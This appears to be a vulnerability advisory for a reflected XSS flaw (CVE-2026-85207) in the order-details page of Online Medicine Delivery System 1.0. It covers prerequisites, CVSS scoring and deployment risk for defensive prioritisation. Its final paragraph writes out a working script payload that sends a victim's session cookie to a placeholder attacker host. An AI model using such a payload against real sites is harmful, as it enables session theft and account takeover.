Online Medicine Delivery System CVE-2026-85207

The attacker must hold a low-privilege authenticated session in Online Medicine Delivery System 1.0 (PR:L per CVSS 4.0), meaning account registration or credential theft is a prerequisite. A separate victim user with an active session must follow or be redirected to the attacker-controlled URL (UI:P). The vulnerable endpoint /index.php?q=orderdetails must be reachable over the network. No special server-side configuration is required beyond a default installation. Exploitation is limited by the authentication requirement and the need to socially engineer a second victim - pure unauthenticated exploitation is not supported by the CVSS vector.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N) scores 5.1 (Medium), which is consistent with a reflected XSS requiring both authenticated session context (PR:L) and passive user interaction (UI:P). Real-world risk is further bounded by the product's extremely limited deployment footprint - itsourcecode projects are educational/hobbyist PHP demos rarely deployed in production with real user data. The public PoC (GitHub writeup) lowers the skill bar for exploitation but does not elevate urgency absent meaningful deployments. No EPSS data was provided; KEV status is absent. The CVSS 4.0 confidentiality metric VC:N appears slightly understated, as reflected XSS canonically permits session-cookie theft (VC:L). Overall this is a low-priority finding outside the narrow population of developers or students who have deployed this specific application publicly.

An attacker who holds a low-privilege account on the application crafts a URL such as /index.php?q=orderdetails&location=<script>document.location='https://attacker.tld/?c='+document.cookie</script> and delivers it to a victim user via phishing or a malicious link. When the logged-in victim clicks the link, the unencoded payload is reflected into the page and executes in their browser, potentially exfiltrating their session cookie to the attacker. The GitHub PoC writeup (https://github.com/boyslikesports/202607_vul_dir/blob/main/H-06-XSS-Reflected-OrderDetails_en.md) confirms this vector.